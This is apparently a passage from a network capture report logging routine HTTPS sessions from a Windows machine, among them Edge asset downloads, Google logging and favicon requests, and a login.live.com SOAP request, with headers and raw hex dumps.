Ascii: { "configVersion": 32, "PrivilegedExperiences": [ "ShorelinePrivilegedExperienceID", "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT", "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND", "SHOPPING_AUTO_SHOW_BING_SEARCH", "SHOPPING_AUTO_SHOW_REBATE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49824	13.107.246.40	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:29 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:29 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:29 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: e50e4f1d-901e-000f-6dbc-dc85f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240724T003929Z-15b94bb6ff9l5m7947zaw26eh800000001ag000000000txr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-24 00:39:29 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-07-24 00:39:29 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-07-24 00:39:29 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-07-24 00:39:29 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-07-24 00:39:29 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-07-24 00:39:29 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-07-24 00:39:29 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-07-24 00:39:29 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-07-24 00:39:29 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-07-24 00:39:29 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49826	142.251.35.174	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:29 UTC	579	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:29 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Wed, 24 Jul 2024 00:39:29 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49825	142.251.35.174	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:29 UTC	579	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:29 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Wed, 24 Jul 2024 00:39:29 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49828	142.250.80.100	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:29 UTC	899	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.2045.47" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:30 UTC	705	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 24 Jul 2024 00:10:40 GMT Expires: Thu, 01 Aug 2024 00:10:40 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 1730 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-24 00:39:30 UTC	685	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-07-24 00:39:30 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
2024-07-24 00:39:30 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-07-24 00:39:30 UTC	1390	IN	Data Raw: ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
2024-07-24 00:39:30 UTC	575	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49827	20.190.159.4	443

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:30 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-07-24 00:39:30 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 